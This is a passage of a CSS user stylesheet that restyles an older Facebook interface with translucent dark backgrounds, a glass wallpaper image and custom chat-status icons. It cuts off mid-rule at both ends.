progress\"],#home_filter_list,#home_sidebar,#contentWrapper,.LDialog,.dialog-body,.LDialog,.LJSDialog,.dialog-foot,.chat_input,#contentCol,#leftCol,.UIStandardFrame_Content,.red_box,.yellow_box,.uiWashLayoutOffsetContent,.uiOverlayContent,.bfb_post_action_container,.connect_widget_button_count_count,.shaded,.navIdentitySub,.jewelItemList li a:hover,.fbSidebarGripper div,.jewelCount,.uiBoxRed,.videoUnit,.lifeEventAddPhoto,.fbTimelineLogIntroMegaphone,.uiGamesLeaderboardItem,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.newInterestListNavItem:hover,.ogSliderAnimPagerPrevContent,.ogSingleStoryStatus,.ogSliderAnimPagerNextContent,.-cx-PRIVATE-uiDialog__body,.jewelItemNew .messagesContent {background: rgba(10,10,10,.5) !important;}\n\n\n\n#home_stream,pre,.ufiItem,.odd,.uiBoxLightblue,.platform_dialog_bottom_bar,.uiBoxGray,.fbFeedbackPosts,.mall_divider_text,.uiWashLayoutGradientWash, #bfb_options_body,.UIMessageBoxStatus,.tip_content .highlight,.fbActivity, .auxlabel,.signup_bar_container,#wait_panel,.FBAttachmentStage,.sheet,.uiInfoTable .name,.HCContents,#devsiteHomeBody .content,.devsitePage .nav .content,#confirm_phone_frame,.fbTimelineCapsule .timelineUnitContainer,.timelineReportContainer,.aboveUnitContent,.aboutMePagelet,#pagelet_tab_content_friends,#fbProfilePlacesBorder,#pagelet_tab_content_notes,.externalShareUnit,.fbTimelineNavigationWrapper .detail,.tosPaneInfo,.navSubmenu:hover,#bfb_donate_pagelet > div,.better_fb_mini_message,.uiBoxWhite,.uiLoadingIndicatorAsync,.mleButton,.fbTimelineBoxCount,.navSubmenu:hover,.gradient,.profileBrowserGrid tr > td > div,.statsContainer,#admin_panel,.fbTimelineSection, .escapeHatch, .ogAggregationPanelContent, .-cx-PRIVATE-fbTimelineExternalShareUnit__root, .shareUnit a, .storyBox {background: rgba(20,20,20,.4) !important;}\n\n\n\n.feed_comments,.home_status_editor,#rooster_container,.rooster_story,.UIFullPage_Container,.UIRoundedBox_Box,.UIRoundedBox_Side,.wallpost,.profile_name_and_status,.tabs_wrapper,.story,#feedwall_controls,.composer_well,.status_composer,.home_main_item,.feed_item,.HomeTabs_tab,#feed_content_section_applications li,.menu_separator,a[href=\"/friends\"],.feed_options_link,.show_all_link,.status,#newsfeed_submenu,.morecontent_toggle_link,.more_link,.composer_tabs,.bl,.profile_tab,.story_posted_item,.left_column,.pager_next,.admarket_ad,.box,.inside,.shade_b,.who_can_tab,.summary_simple,.footer_submit_rounded,.well_content,.info_section,.item_content,.basic_info_summary_and_viewer_actions dt,.info dt,.photo_table,.extra_content,.main_content,.search_inputs,.search_results,.result,.bar,.smalllinks span,.quiz_actionbox,.column,.note_header,.fdh,#fpgc,#fpgc td,.fmp,.fadvfilt,.fsummary,.frn,.two_column_wrapper,#new_ff,.see_more,.message_rows,.message_rows tr,.toggle_tabs li,.toggle_tabs li a,.notifications,.updates_all,.composer,.WelcomePage_MainSellContainer,.WelcomePage_MainSell,.media_gray_bg,.photo_comments_container,.photo_comments_main,.empty_message,.UIMediaHeader_Title,.UIMediaHeader_SubHeader,.footer_bar,.single_photo_header,#editphotoalbum,.covercheck,#newalbum,.panel,.album,.dh_titlebar,.page_content,.dashboard_header,.photos_header,.privacy_summary_items,.privacy_summary_item,.block_overview,.privacy_page_field,.editor_panel,.block,.action_box,.even_column,.mobile_account_inlay,.language,.confirm_boxes,.confirm,.status_confirm,.hasnt_app,.container, .UIDashboardHeader_TitleBar,.UIDashboardHeader_Container,.note,.UITwoColumnLayout_Container,.dialog_body,.dialog_buttons,.group_lists,.group_lists th,.group_list,.updates,.share_section,#profilenarrowcolumn,#profilewidecolumn,#inline_wall_post,.post_link_bar,.helppro_content,.answers_list_header,#help_titlebar,.new_user_guide,.new_user_guide_content,.flag_nav_item,.flag_nav_item a,.arrowlink a,#safety_page,#safety_page h5,.dashbar,.disclaimer,#store_options,#store_window,.step,.canvas_rel_positioning, .app_type a,.sub_selected a,.box_head,.inside_the_box,.app_about,.fallback,.box_subhead,.fbpage_card,#devsite_menubar,.content_sidebar,.side, .pBody li a,#p-logo,#p-navigation,#p-navigation .pBody,#bodyContent h1,#p-wiki,#p-wiki .pBody,#p-search,#p-search .pBody,#p-tb,#p-tb .pBody,#bodyContent table,#bodyContent table div,.recent_news,.main_news,.news_header, .devsite_subtabs li a,.middle-container,.feed_msg h4,.ads_info,.contact_sales,.wrapper h3,.presence_bar_button:hover,.icon_garden_elem:hover,#profile_minifeed,.focused,.dialog_summary,.tab span,.wallkit_postcontent h4,.address,#badges,.badge_holder,.aim_link,.user_status,.section_editor,.my_numbers,.photo_editor,.gift_rows,.sub_menu,.main-nav-tabs li a,.submenu_header,.new_gift,#profile_footer_actions,#status_bar,#summaryandpager,.userlist,#feedBody,#feedHeaderContainer,#feedContent,.feedBackground,.mixer_panel,.titles,.sliders,.slider_holder,.fbpage_title,.options,#linkeditorform,.sideNavItem .item,.typeahead_list_with_shadow,.module,.tc,.bc,.footer, .answer,.announcement,.basic_info_content,.slot,.boardkit_no_topics,.ranked_friend,.boardkit_subtitle,.filter-tabs,.level,.level_summary,.cause, .attachment_stage,.attachment_stage_area,.beneficiary_info,#info_tab,#feedwall_with_composer,.frni,.frni a,.flistedit,.fmp_delete,#feed_content_section_friend_lists li,.composer_tabs li:not(.selected),.menu_content li a,.view_on,.rounded-box,.ffriend,.tab_content,.wrapper_background,.full_container,.white_box,#friends li a,#inline_composer,.skin_body,.invite_tab_selected,.inside table,.matches_matches_box,.matches_content_box_subtitle,tr[fbcontext=\"41097bfeb58d\"],.dialog_body div div,.new_menu_off,.present_info_label,.import_status,.upload_guidelines,.tagger_border,.chat_info,.chat_conv_content,.chat_conv,.visibility_change,.pic_padding,.chat_notice,.chat_input_div,.wrapper,.toolbar_button,.toolbar_button_label,.pages_dashboard_panel,.no_pages,.divider,#filterview,#groupslist,.grouprow,.grouprow table,.board_topic,#big_search,#invitation_list,#invitation_wrapper,.emails_error, .outer_box,.inner_box,.days_remaining,.module,.submodule,.ntab,.ntab .tab_link,.grayheader,.inline_wall_post,.related_box,.home_box_wrapper,.two_column,.challenge_stats,.quiz_box, #fb_challenge,#fb_challenge_page,.challenge_leaderboard,.leaderboard_tile, .sidebar_upsell,.concerts_module,.container_box,#login_homepage,.user_hatch_bg,.pick_main,#homepage,.wall_post_body,.track,.HomeTabs_tab a,.minifeed,.alert_wrap,.logged_in_vertical_alert,.info_column,#public_listing_friends,#public_listing_pages,.gamertag_app,.gamerProfileBody,#photo_picker,.album_picker .page0 .row,.dialog_loading,.timeline,.partyrow,.partyrow table,#invite_list li,.group_info_section,#moveable_wide,.UIProfileBox_Content,.story_content,.settings_panel,.app_browser li,.photos_tab,.recent_notes,.side_note,.album_information,.results,.logged_out_register_vertical,.logged_out_register_wrapper,.deleted,.home_prefs_saved,.share_send,.header_divide,.thread_header,.message,.status_composer_inner,.fbpage_edit_header,.app_switcher_unselected,.status_placeholder,.UIComposer_TDTextArea, .UIHomeBox_Content,.UIHotStory,.home_welcome,.summary_custom,.source_list,.minor_section,.UIComposer_Attachment_TDTextArea,.info_diff span,.matches span,.menu_content,.UIcomposer_Dropdown_List,.UIComposer_Dropdown_Item,.feed_auto_update_settings,.container,.silver_footer,.friend_grid_col,.token > span,.tokenizer_input,.tokenizer_input *,#friends_multiselect,.flink_inner a:hover,#grouptypes,#startagroup p,.UICheckList,.FriendAddingTool_InnerMenu,.pagerpro li a:hover,#friend_filters,.fb_menu_count_holder,.hp_box,.view_all_link,.app_settings_tab,.tab_link,#flm_add_title,#flm_current_title,#flm_list_selector .selector,#friends_header,#friends_wrapper,.contacts_header,.contacts_wrapper,.row1,.show_advanced_controls,.FriendAddingTool_InnerMenu,.UISelectList,.UISelectList_Item,.UIIntentionalStory_CollapsedStories,.email_section,.section_header_bg,.rqbox,.ar_highlight,#buddy_list_panel,.panel_item,.friendlist_status,.options_actions a span,.chat_setting label,.toolbox,.chat_actions,.UIWell,.UIComposer_InputArea,.invite_panel,.apinote,.UIInterstitialBox_Container,.ical_section,.maps_brand,.divbox4,.lighteryellow,.fan_status_inactive,.UIBeeperCap,.footer_fallback_box,.footer_refine_search_company_school_box,.footer_refine_search_email_box,.UINestedFilterList_List,.UINestedFilterList_SubItem,.UINestedFilterList_Item_Link,.UINestedFilterList_Item_Link,.UINestedFilterList_SubItem_Link,.app_dir_app_summary,.app_dir_featured_app_summary,.app_dir_app_wide_summary,.profile_top_bar_container,.UIStream_Border,.question_container,.unselected_list label:nth-child(odd),.request_box,.showcase,.steps li,#fb_sell_profile div,.promotion,.UIOneOff_Container tabs,.whocan,.lock_r,.privacy_edit_link,.friend_list_container li:hover a,.email_field,.app_custom_content,#page,.thumb,.step_frame,.radioset,.radio_option,.page_option,.explanation_note,.card,.empty_albums,.right_column,.full_widget,.connect_top,.creative_preview,.creative_column,.UIAdmgrCreativePreview,.UIEMUASFrame,.banner_wrapper,.dashboard,.pages,#photocrop_instructions,.UIContentBox_GrayDarkTop,.UIContentBox_Gray,.UIContentBox,#FriendsPage_ListingViewContainer,.post_editor,.entry,.fb_dashboard,.spacey_footer,.thread,.post,.UIWashFrame_Content,table[bindpoint=\"thread_row\"],table[bindpoint=\"thread_row\"] tbody,.GBThreadMessageRow,.message_pane,.UIComposer_ButtonArea, .UIRoundedTransparentBox_Border,.feedbackView,.group,.streamPaginator,.nullStatePane,.inboxControls,.filterControls,.inboxView tr,.tabView,.tabView li a,.splitViewContent,.photoGrid,.albumGrid,.frame .img,.gridViewCrop,.gridView,.profileWall form,.story form,.formView,.inboxCompose,.LTokenizerToken,#icon_garden,#buddy_list_tab,#presence_notifications_tab,#editphotoalbum .photo,.UISuggestionList_SubContainer,.fan_action,.video_pane,.notify_option, .video_gallery,.video,.uiTooltip:not(.close):hover,.people_table,.people_table table,#main,#navlist li a.inactive,#rbar,.plays_bar,#fans,.updates_messages,.sent_updates_container,.subitem,#pagelet_navigation,.fbxWelcomeBox,.friends_online_sidebar,.uiTextHighlight,.tab_box,.bordered_list_item,.SettingsPage_PrivacySections,.profile-pagelet-section,.profileInfoSection,#pts_invite_section,.main_body,.masterControl,.masterControl .main,.linkbox,.uiTypeaheadView .search li,.language_form,#ads_privacy_examples,.fbPrivacyPage,.UIStandardFrame_SidebarAds,#sidebar_ads,#globalWrapper #content,.portlet,.pBody,.noarticletext,#catlinksm,.devsiteHeader,.devsiteFooter,.devsiteContent,.blockpost,.blockpost #topic,.blockpost .postleft,.blockpost .postfootleft,.fbRecommendation,.fbRecommendationWidgetContent,.add_comment,.connect_comment_widget .comment_content,.error,.even,.fbFeedbackPager,.uiComposerMessageBox,.facepileHolder,.notePermalinkMaincol,.profilePreviewHeader,.pageAttachment,.editExperienceForm,.tourSteplist,.tourSteplist ol,.uiStep,.uiStep:not(.uiStepSelected) .part, .uiStepSelected .part:not(.middle),.better_fb_cp,legend,.bfb_option_body div,.messaging_nux_header,.fbInsightsTable .odd td,.user.selected,.highlighter div b,.fbQuestionsBlingBox:hover,.friend_list_container,.jewelItemList li a:active,#bfb_tip_pagelet > div,.UIUpcoming_Item,.video_with_comments,.video_info,.fbFeedTickerStory,.fbFeedTicker.fixed_elem,.fbxPhoto .fbPhotoImageStage .stageContainer,#DeveloperAppBody > .content,.opengraph .preview,.coverNoImage,.fbTimelineScrubber,.fbTimelineAds,.fbProfilePlacesFilter,.fbFeedbackPost .UIImageBlock_Content,.permissionsViewEducation,.UIFaq_Container,#wizard,.captionArea,#bfb_options_content .option,.bfb_tab_selector,.UIMessageBoxExplanation,.uiStreamSubstories {background: rgba(20,20,20,.2) !important;}\n\n\n\n.uiSelector .uiSelectorButton,.UIRoundedBox_Corner,.quote,.em,.UIRoundedBox_TL,.UIRoundedBox_TR,.UIRoundedBox_BR,.UIRoundedBox_LS,.UIRoundedBox_BL,.profile_color_bar,.pagefooter_topborder,.menu_content,h3,#feed_content_section_friend_lists,ul,li[class=\"\"],.comment_box,.comment,#homepage_bookmarks_show_more,.profile_top_wash,.canvas_container,.composer_rounded,.composer_well,.composer_tab_arrow,.composer_tab_rounded,.tl,.tr,.module_right_line_block,.body,.module_bottom_line,.lock_b_bottom_line,#info_section_info_2530096808 .info dt,.pipe,.dh_new_media,.dh_new_media .br,.frn_inpad,#frn_lists,#frni_0,.frecent span,h3 span,.UIMediaHeader_TitleWash,.editor_panel .right,.UIMediaButton_Container tbody *,#userprofile,.profile_box,.date_divider span,.corner,.profile #content .UIOneOff_Container,.ff3,.photo #nonfooter #page_height,.home #nonfooter #page_height,.home .UIFullPage_Container,.main-nav,.generic_dialog,#fb_multi_friend_selector_wrapper,#fb_multi_friend_selector,.tab span,.tabs,.pixelated,.disabled,.title_header .basic_header,#profile_tabs li,#tab_content,.inside td,.match_link span,tr[fbcontext=\"41097bfeb58d\"] table,.accent,#tags h2,.read_updates,.user_input,.home_corner,.home_side,.br,.share_and_hide,.recruit_action,.share_buttons,.input_wrapper,.status_field,.UIFilterList_ItemRight,.link_btn_style span,.UICheckList_Label,#flm_list_selector .Tabset_selected .arrow,#flm_list_selector .selector .arrow .sel_link,.friendlist_status .title a,.online_status_container,.list_drop_zone_inner,.good_username,.WelcomePage_Container,.UIComposer_ShareButton *,.UISelectList_Label,.UIComposer_InputShadow .UIComposer_TextArea,.UIMediaHeader_TitleWrapper,.boxtopcool_hg,.boxtopcool_trg,.boxtopcool_hd,.boxtopcool_trd,.boxtopcool_bd,.boxtopcool_bg,.boxtopcool_b,#confirm_button,.title_text,#advanced_friends_1,.fb_menu_item_link,.fb_menu_item_link small,.white_hover,.GBTabset_Pill span,.UINestedFilterList_ItemRight,.GBSearchBox_Input input,.inline_edit,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.LTokenizer,.Mentions_Input,form.comment div,.ufi_section,.BubbleCount,.BubbleCount_Right,.UIStory,.object_browser_pager_more,.friendlist_name,.friendlist_name a,.switch,#tagger,.tagger_border,.uiTooltip,#reorder_fl_alert,.UIBeeper_Full,#navSearch,#navAccount,#navAccountPic,#navAccountName,#navAccountInfo,#navAccountLink,#mailBoxItems,#pagelet_chat_home h4,.buddy_row,.home_no_stories,#xpageNav li .navSubmenu,.uiListItem:not(.ufiItem),.uiBubbleCount,.number,.fbChatBuddylistPanel,.wash,.settings_screenshot,.privacyPlan .uiListItem:hover,.no_border,.auxiliary .highlight,.emu_comments_box_nub,.numberContainer,.uiBlingBox,.uiBlingBox:hover span,.callout_buttons,.uiWashLayoutEmptyGradientWash,.inputContainer,.editNoteWrapperInput,.fbTextEditorToolbar,.logoutButton input,#contentArea .uiHeader + .uiBoxGray,.uiTokenizer,#bfb_tabs,.profilePictureNuxHighlight,.profile-picture,#ci_module_list,.textBoxContainer,#date_form .uiButton,.insightsDateRange,.MessagingReadHeader,.groupProfileHeaderWash,.questionSectionLabel,.metaInfoContainer,.uiStepList ol,.friend_list,.fbFeedbackMentions,.bb .fbNubFlyoutHeader,.bb .fbNubFlyoutFooter,.fbNubFlyoutInner .fbNubFlyoutFooter,.gradientTop,.gradientBottom,.helpPage,.fbEigenpollTypeahead .plus,.uiSearchInput,.opengraph,#developerAppDetailsContent,.timelineLayout #contentCol,.attachmentLifeEvents,.fbProfilePlacesFilterBar,.uiStreamHeader,.uiStreamHeaderChronologicalForm,.inner .text,.pageNotifPopup,.uiButtonGroup,.navSubmenuPageLink,.fbTimelineTimePeriod,.bornUnit,.mleFooter,#bfb_filter_add_row,#bfb_options .option .no_hover,.fbTimelinePhotosSeparator h4 span,.withsubsections,.showMore,.event_profile_information tr:hover,.nux_highlight_nub,.uiSideNav .uiCloseButton,.uiSideNav .uiCloseButton input,.fb_content,.uiComposerAttachment .selected .attachmentName,.fbHubsTokenizer,.coverEmptyWrap,.uiStreamHeaderText,.pagesTimelineButtonPagelet,.fbNubFlyoutBody,#pageNav .tinyman:hover,#navHome:hover,.fbRemindersThickline,.uiStreamEdgeStoryLine hr,.uiInfoTable tbody tr:hover,.fbTimelineUFI,#contentArea,.leftPageHead,.rightPageHead,.anchorUnit,#pageNav .topNavLink a:focus,.timeline_page_inbox_bar,.uiStreamEdgeStoryLineTx,.pluginRecommendationsBarButton,.pluginRecommendationsBarTop table, .uiToken, .ogAggregationPanelText, .UFIRow {background: transparent !important;}\n\n\n\n.UIObject_SelectedItem,.sidebar_item_header,.announcement_title,#pagefooter,.selected:not(.key-messages):not(.key-events):not(.key-media):not(.key-ff):not(.page):not(.group):not(.user):not(.app),.date_divider_label,.profile_action,.blurb ,.tabs_more_menu,.more a span,.selected h2,.column h2,.ffriends,.make_new_list_button_table tr,.title_header,.inbox_menu,.side_column,.section_header h3 span,.media_header,#album_container,.note_dialog,.dialog,.has_app,.UIMediaButton_Container,.dialog_title,.dialog_content,#mobile_notes_announcement,.see_all,#profileActions,.fbpage_group_title,.UIProfileBox_SubHeader,#profileFooter,.share_header,#share_button_dialog,.flag_nav_item_selected,.new_user_guide_content h2,#safety_page h4,.section_banner,.box_head,#header_bar,.content_sidebar h3,.content_header,#events h3,#blog h3,.footer_border_bottom,.firstHeading,#footer,.recent_news h3,.wrapper div h2,.UIProfileBox_Header,.box_header,.bdaycal_month_section,#feedTitle,.pop_content,#linkeditor,.UIMarketingBox_Box,.utility_menu a,.typeahead_list,.typeahead_suggestions,.typeahead_suggestion,.fb_dashboard_menu,.green_promotion,.module h2,.current_path,.boardkit_title,.current,.see_all2,.plain,.share_post,.add-link,li.selected,.active_list a,#photoactions a:not(#rotaterightlink):not(#rotateleftlink),.UIPhotoTagList_Header,.dropdown_menu,.menu_content,.menu_content li a:hover,.menu_content li:hover,#edit_profilepicture,.menu_content div a:hover,.contact_email_pending,.req_preview_guts,.inputbutton,.inputsubmit,.activation_actions_box,.wall_content,.matches_content_box_title,.new_menu_selected,#editnotes_content,#file_browser,.chat_window_wrapper,.chat_window,.chat_header,.hover,.dc_tabs a,.post_header,.header_cell,#error,.filters,.pages_dashboard_panel h2,.srch_landing h2,.bottom_tray,.next_action,.pl-divider-container,.sponsored_story,.header_current,.discover_concerts_box,.header,.sidebar_upsell_header,.activity_title h2,.wall_post_title,#maps_options_menu,.menu_link,.gamerProfileTitleBar,.feed_rooster ,.emails_success,.friendTable table:hover,.board_topic:hover,.fan_table table:hover,#partylist .partyrow:hover,.latest_video:hover,.wallpost:hover,.profileTable tr:hover,.friend_grid_col:hover,.bookmarks_list li:hover,.requests_list li:hover,.birthday_list li:hover,.tabs li,.fb_song:hover,.share_list .item_container:hover,.written a:hover,#photos_box .album:hover,.people .row .person:hover,.group_list .group:hover,.confirm_boxes .confirm:hover,.posted .share_item_wide .share_media:hover,.note:hover,.editapps_list .app_row:hover,.my_networks .blocks .block:hover,.mock_h4,#notification_options tr:hover,.notifications_settings li:hover,.mobile_account_main h2,.language h4,.products_listing .product:hover,.info .item .item_content:hover,.info_section:hover,.recent_notes p:hover,.side_note:hover,.suggestion,.story:hover,.post_data:hover,.album_row:hover,.track:hover,#pageheader,.message:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIActionButton,.UIActionButton_Link,.confirm_button,.silver_dashboard,span.button,.col:hover,#photo_tag_selector,#pts_userlist,.flink_dropdown,.flink_inner,.grouprow:hover,#findagroup h4,#startagroup h4,.actionspro a:hover,.UIActionMenu_Menu,.UICheckList_Label:hover,.make_new_list_button_table,.contextual_dialog_content,#flm_list_selector .selector:hover,.show_advanced_controls:hover,.UISelectList_check_Checked,.section_header,.section_header_bg,#buddy_list_panel_settings_flyout,.options_actions,.chat_setting,.flyout,.flyout .UISelectList,.flyout .new_list,#tagging_instructions,.FriendsPage_MenuContainer,.UIActionMenu,.UIObjectListing:hover,.UIStory_Hide .UIActionMenu_Wrap,.UIBeeper,.branch_notice,.async_saving,.UIActionMenu .UIActionMenu_Wrap:hover,.attachment_link a:hover,.UITitledBox_Top,.UIBeep,.Beeps,#friends li a:hover,.apinote h2,.UIActionButton_Text,.rsvp_option:hover,.onglettrhi,.ongletghi,.ongletdhi,.ongletg,.onglettr,.ongletd,.confirm_block, .unfollow_message,.UINestedFilterList_SubItem_Selected .UINestedFilterList_SubItem_Link,.UINestedFilterList_SubItem_Link:hover,.UINestedFilterList_Item_Link:hover,.UINestedFilterList_Selected .UINestedFilterList_Item_Link,.app_dir_app_summary:hover,.app_dir_featured_app_summary:hover,.app_dir_app_wide_summary:hover,.UIStory:hover,.UIPortrait_TALL:hover,.UIActionMenu_Menu div,.UIButton_Blue,.UIButton_Gray,.quiz_cell:hover,.UIFilterList > .UIFilterList_Title,.message_rows tr:hover,.ntab:hover,.thumb_selected,.thumb:hover,.hovered a,.pandemic_bar,.promote_page,.promote_page a,.create_button a,.nux_highlight,.UIActionMenu_Wrap,.share_button_browser div,.silver_create_button,.painted_button,.flyer_button,table[bindpoint=\"thread_row\"] tbody tr:hover,.GBThreadMessageRow:hover,#header,.button:not(.close):not(.uiSelectorButton):not(.videoicon):not(.toggle),h4,button:not(.as_link),#navigation a:hover,.settingsPaneIcon:hover,a.current,.inboxView tr:hover,.tabView li a:hover,.friendListView li:hover,.LTypeaheadResults,.LTypeaheadResults a:hover,.dialog-title, .UISuggestionList_SubContainer:hover,.typeahead_message,.progress_bar_inner,.video:hover,.advanced_controls_link,.plays_val,.lightblue_box,.FriendAddingTool_InnerMenu .UISelectList,.gray_box,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,#navAccount li:not(#navAccountInfo),.jewelHeader,.seeMore,#mailBoxItems li,#pageFooter,.uiSideNav .key-nf:hover,.key-messages .item:hover,.key-messages ul li:hover,.key-events ul li:hover,.key-media ul li:hover,.key-ff ul li:hover,.key-apps:hover,.key-games:hover,.uiSideNav .sideNavItem:not(.open) .item:hover,.fbChatOrderedList .item:hover a,.uiHeader,.uiListItem:not(.mall_divider):hover,.uiSideNav li.selected > a,.ego_unit:hover,.results,.bordered_list_item:hover,.fbConnectWidgetFooter,#viewas_header,.fbNubFlyoutTitlebar,.info_text,.stage,.masterControl .selected a,.masterControl .controls .item a:hover,.uiTypeaheadView .search,.gigaboxx_thread_hidden_messages,.uiMenu,.uiMenuInner,.itemAnchor,.gigaboxx_thread_branch_message,.uiSideNavCount,.uiBoxYellow,.loggedout_menubar_container,.pbm .uiComposer,.megaphone_box,.uiCenteredMorePager,.fbEditProfileViewExperience:hover,.uiStepSelected .middle,.GM_options_header,.bfb_tab_selected, #MessagingShelfContent,.connect_widget_like_button,.uiSideNav .open,.fbActivity:hover,.fbQuestionsPollResultsBar,.insightsDateRangeCustom,.fbInsightsTable thead th,.mall_divider,.attachmentContent .fbTabGridItem:hover,.jewelItemNew,#MessagingThreadlist .unread,.type_selected,.bfb_sticky_note,.UIUpcoming_Item:hover,.progress_bar_outer,.fbChatBuddyListDropdown .uiButton,.UIConnectControlsListSelector .uiButton,.instructions,.uiComposerMetaContainer,.uiMetaComposerMessageBoxShelf,#feed_nux,#tickerNuxStoryDiv,.fbFeedTickerStory:hover,.fbCurrentStory:hover,.uiStream .uiStreamHeaderTall,.fbChatSidebarMessage,.fbPhotoSnowboxInfo,.devsitePage .menu,.devsitePage .menu .content,#devsiteHomeBody .wikiPanel > div,.toolbarContentContainer,.fbTimelineUnitActor,#fbTimelineHeadline,.fbTimelineNavigation,.fbTimelineFeedbackActions,.timelineReportHeader,.fbTimelineCapsule .timelineUnitContainer:hover,.timelineReportContainer:hover,.fbTimelineComposerAttachments .uiListItem:hover span a,.timelinePublishedToolbar,.timelineRecentActivityLabel,.fbTimelineMoreButton,.overlayTitle,.friendsBoxHeader,.escapeHatchHeader,.tickerStoryAllowClick,.appInvite:hover,.fbRemindersStory:hover,.lifeEventAddPhoto a:hover,.insights-header,.ufb-dataTable-header-container,.ufb-button,.older-posts-content,.mleButton:hover,.btnLink,.fill,.cropMessage,.adminPanelList li:hover a,.tlPageRecentOverlayStream,.addListPageMegaphone,.searchListsBox,.ogStaticPagerHeader,.dialogTitle,#rogerSidenavCallout,.fbTimelineAggregatedMapUnitSeeAll,.shareRedesignContainer,.ogSingleStoryText,.ogSliderAnimPagerPrevWrapper,.ogSliderAnimPagerNextWrapper,.shareRedesignText,.pluginRecommendationsBarTop,.timelineRecentActivityStory:hover, .ogAggregationPanelUFI\n\n{ background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Wallpaper/GlassShiny.png\") fixed repeat !important;}\n\n\n\n.hovercard .stage,.profileChip,.GM_options_wrapper_inner,.MessagingReadHeader .uiHeader,#MessagingShelf,#navAccount ul,.uiTypeaheadView,#blueBar,.uiFacepileItem .uiTooltipWrap,.fbJewelFlyout,.jewelItemList li,.notification:not(.jewelItemNew),.fbNubButton,.fbChatTourCallout .body,.uiContextualDialogContent,.fbTimelineStickyHeader .back,.timelineExpandLabel:hover,.pageNotifFooter a,.fbSettingsListLink:hover,.uiOverlayPageContent,#bfb_option_list,.fbPhotoSnowlift .rhc,.ufb-tip-title,.balloon-content,.tlPageRecentOverlayTitle,.uiDialog,.uiDialogForm,.permissionsLockText, .uiMenuXBorder,.-cx-PRIVATE-uiDialog__content,.-cx-PRIVATE-uiDialog__title, ._k5\n\n{ background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Wallpaper/GlassShiny.png\") fixed repeat, rgba(10,10,10,.6) !important; }\n\n\n\n.unread .badge,.fbDockChatBuddyListNub .icon,.sx_7173a9,.selectedCheckable .checkmark {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball15.png\") no-repeat right center!important;}\n\n\n\ntable[class=\" \"] .badge:hover,table[class=\"\"] .badge:hover,.offline .fbDockChatBuddyListNub .icon,.fbChatSidebar.offline .fbChatSidebarMessage .img {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball15.png\") no-repeat right center!important;}\n\n\n\n.fbChatSidebar.offline .fbChatSidebarMessage .img {height: 16px !important;}\n\n\n\n.offline .fbDockChatBuddyListNub .icon,.fbDockChatBuddyListNub .icon,.sx_7173a9 {margin-top: 0 !important;height: 15px !important;}\n\n\n\na.idle,.buddyRow.idle .buddyBlock,.fbChatTab.idle .tab_availability,.fbChatTab.disabled .tab_availability,.chatIdle .chatStatus,.idle .fbChatUserTab .wrap,.chatIdle .uiTooltipText,.markunread,.bb .fbDockChatTab.user.idle .titlebarTextWrapper,.fbChatOrderedList .item:not(.active) .status {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball10paddedright.png\") no-repeat left center !important;}\n\n\n\n.fbChatOrderedList .item .status {width: 10px !important;}\n\n\n\n.headerTinymanName {max-width: 320px !important; white-space: nowrap !important; overflow: hidden !important;}\n\n\n\n.uiTooltipText {padding-left: 14px !important;border: none !important;}\n\n \n\n.fbNubButton,.bb .fbNubFlyoutTitlebar,.bb .fbNub .noTitlebar,.fbDockChatTab,#fbDockChatBuddylistNub .fbNubFlyout,.fbDockChatTabFlyout,.titlebar {border-radius: 8px 8px 0 0!important;}\n\n\n\n.uiSideNav .open {padding-right: 0 !important;}\n\n.uiSideNav .open,.uiSideNav .open > *,#home_stream > *,.bb .rNubContainer .fbNub,.fbChatTab {margin-left: 0 !important;}\n\n.uiSideNav .open ul > * {margin-left: -20px !important;}\n\n.uiSideNav .open .subitem > .rfloat {margin-right: 20px !important;}\n\n\n\n.timelineUnitContainer .timelineAudienceSelector .uiSelectorButton {padding: 1px !important; margin: 4px 0 0 4px !important;}\n\n.timelineUnitContainer .audienceSelector .uiButtonNoText .customimg {margin: 2px !important;}\n\n.timelineUnitContainer .composerAudienceSelector .customimg {opacity: 1 !important; background-position: 0 1px !important; padding: 0 !important;}\n\n\n\n.fbNub.user:not(.disabled) .wrap {padding-left: 15px !important;}\n\n.fbNubFlyoutTitlebar .titlebarText {padding-left: 12px !important;}\n\n\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.uiMenu .checked .itemAnchor {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball10paddedright.png\") no-repeat !important;}\n\n\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,a.idle,.buddyRow.idle .buddyBlock {background-position: right center !important;}\n\n\n\n.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.user .fbChatUserTab .wrap {background-position: left center !important;}\n\n\n\n.uiMenu .checked .itemAnchor {background-position: 5px center !important;}\n\n\n\n.markunread,.markread {background-position: 0 center !important;}\n\n\n\n.chatIdle .chatStatus,.chatOnline .chatStatus {width: 10px !important;height: 10px !important;background-position: 0 0 !important;}\n\n\n\n#fbRequestsJewel .jewelButton {background: 